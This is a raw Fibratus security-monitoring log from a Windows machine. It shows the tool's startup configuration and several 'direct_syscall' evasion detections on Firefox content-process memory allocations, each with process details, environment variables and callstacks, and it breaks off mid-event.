source=bootstrap/bootstrap.go:153 +time=2025-11-24T19:14:08+01:00 level=info msg=bootstrapping with pid 16452. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T19:14:08+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ use-template=>true enabled=>false to=>[] content-type=>text/html port=>25] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-dns=>false enable-vamap=>true min-buffers=>16 enable-net=>true enable-thread=>true enable-handle=>false enable-mem=>true max-buffers=>36 enable-audit-api=>true enable-threadpool=>true stack-enrichment=>true enable-registry=>true flush-interval=>1s buffer-size=>512 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 log-stdout=>true level=>info formatter=>text max-age=>0 max-size=>100] + output ......................... [ http=>[ serializer=>json method=>POST enabled=>false endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s enable-gzip=>false] amqp=>[ url=>amqp://localhost:5672 durable=>false passive=>false exchange-type=>topic routing-key=>fibratus tls-insecure-skip-verify=>false delivery-mode=>transient timeout=>5s enabled=>false exchange=>fibratus vhost=>/] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true format=>pretty] elasticsearch=>[ index-name=>fibratus gzip-compression=>false enabled=>false healthcheck-timeout=>5s sniff=>false trace-log=>false servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck=>true bulk-workers=>1 template-name=>fibratus healthcheck-interval=>10s timeout=>5s]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] fastscan=>true skip-registry=>false scan-timeout=>10s excluded-procs=>[] enabled=>false skip-mmaps=>false skip-allocs=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T19:14:08+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T19:14:10+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T19:14:13+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2528572 + Pid: 2844 + Tid: 19916 + Type: VirtualAlloc + CPU: 0 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-24 19:14:11.0749945 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ e5f28fa000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 2844, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 2844 + Ppid: 12980 + Name: firefox.exe + Parent name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 9036:47921 -prefMapHandle 8792:292858 -jsInitHandle 8208:224660 -parentBuildID 20251118022223 -ipcHandle 8468 -initialChannelId {1dab184d-b358-415f-968d-571fa95a4765} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 7744 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 18 tab + Parent cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: UNTRUSTED + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 9036:47921 -prefMapHandle 8792:292858 -jsInitHandle 8208:224660 -parentBuildID 20251118022223 -ipcHandle 8468 -initialChannelId {1dab184d-b358-415f-968d-571fa95a4765} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 7744 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 18 tab] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1168_1262719628:1 EFC_1168_1592913036:1 EFC_1168_2283032206:1 EFC_1168_2775293581:1 EFC_1168_3789132940:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MALLOC_OPTIONS:r MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff804db142714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804db074909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804db148ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804db82a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff804db663d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff804db6629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff804db4b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff804db4a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff804db824004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff804db09315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff804db0400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff804db4addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff797d07f97 C:\Program Files\Mozilla Firefox\firefox.exe!TargetCreateThread|0x7ff797cd345d C:\Program Files\Mozilla Firefox\firefox.exe!TargetNtOpenThreadToken64|0x7fff698a799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7fff6991f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7fff697cbcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbad2 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff6987b98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff6987b83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff698a910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-11-24T19:14:13+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2528585 + Pid: 10096 + Tid: 16820 + Type: VirtualAlloc + CPU: 3 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-24 19:14:11.0909113 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ f5ecc3b000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 10096, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 10096 + Ppid: 12980 + Name: firefox.exe + Parent name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 8528:48747 -prefMapHandle 9736:292858 -jsInitHandle 9392:224660 -parentBuildID 20251118022223 -ipcHandle 8708 -initialChannelId {a1c55bbb-4e2c-45ee-a0bd-da8f199d1cdb} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 5572 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 20 tab + Parent cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: UNTRUSTED + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 8528:48747 -prefMapHandle 9736:292858 -jsInitHandle 9392:224660 -parentBuildID 20251118022223 -ipcHandle 8708 -initialChannelId {a1c55bbb-4e2c-45ee-a0bd-da8f199d1cdb} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 5572 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 20 tab] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1168_1262719628:1 EFC_1168_1592913036:1 EFC_1168_2283032206:1 EFC_1168_2775293581:1 EFC_1168_3789132940:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MALLOC_OPTIONS:r MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff804db142714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804db074909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804db148ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804db82a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff804db663d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff804db6629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff804db4b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff804db4a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff804db824004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff804db09315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff804db0400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff804db4addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff797d07f97 C:\Program Files\Mozilla Firefox\firefox.exe!TargetCreateThread|0x7ff797cd345d C:\Program Files\Mozilla Firefox\firefox.exe!TargetNtOpenThreadToken64|0x7fff698a799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7fff6991f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7fff697cbcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbad2 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff6987b98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff6987b83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff698a910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-11-24T19:14:13+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2528587 + Pid: 10096 + Tid: 16820 + Type: VirtualAlloc + CPU: 3 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-24 19:14:11.0909592 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ f5ecc3a000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 10096, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 10096 + Ppid: 12980 + Name: firefox.exe + Parent name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 8528:48747 -prefMapHandle 9736:292858 -jsInitHandle 9392:224660 -parentBuildID 20251118022223 -ipcHandle 8708 -initialChannelId {a1c55bbb-4e2c-45ee-a0bd-da8f199d1cdb} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 5572 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 20 tab + Parent cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: UNTRUSTED + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 8528:48747 -prefMapHandle 9736:292858 -jsInitHandle 9392:224660 -parentBuildID 20251118022223 -ipcHandle 8708 -initialChannelId {a1c55bbb-4e2c-45ee-a0bd-da8f199d1cdb} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 5572 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 20 tab] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1168_1262719628:1 EFC_1168_1592913036:1 EFC_1168_2283032206:1 EFC_1168_2775293581:1 EFC_1168_3789132940:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MALLOC_OPTIONS:r MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff804db142714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804db074909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804db148ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804db82a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff804db663d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff804db6629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff804db4b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff804db4a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff804db824004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff804db09315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff804db0400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff804db4addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff797d07f97 C:\Program Files\Mozilla Firefox\firefox.exe!TargetCreateThread|0x7ff797cd345d C:\Program Files\Mozilla Firefox\firefox.exe!TargetNtOpenThreadToken64|0x7fff698a799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7fff6991f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7fff697cbcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbad2 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff6987b98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff6987b83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff698a910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-11-24T19:14:13+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2528606 + Pid: 5272 + Tid: 17060 + Type: VirtualAlloc + CPU: 1 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-24 19:14:11.1689078 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ ebcd63a000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 5272, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 5272 + Ppid: 12980 + Name: firefox.exe + Parent name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 9772:48747 -prefMapHandle 9324:292858 -jsInitHandle 7236:224660 -parentBuildID 20251118022223 -ipcHandle 8576 -initialChannelId {6babddd3-1bbd-4280-91b3-560616747071} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 9804 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 21 tab + Parent cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: UNTRUSTED + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 9772:48747 -prefMapHandle 9324:292858 -jsInitHandle 7236:224660 -parentBuildID 20251118022223 -ipcHandle 8576 -initialChannelId 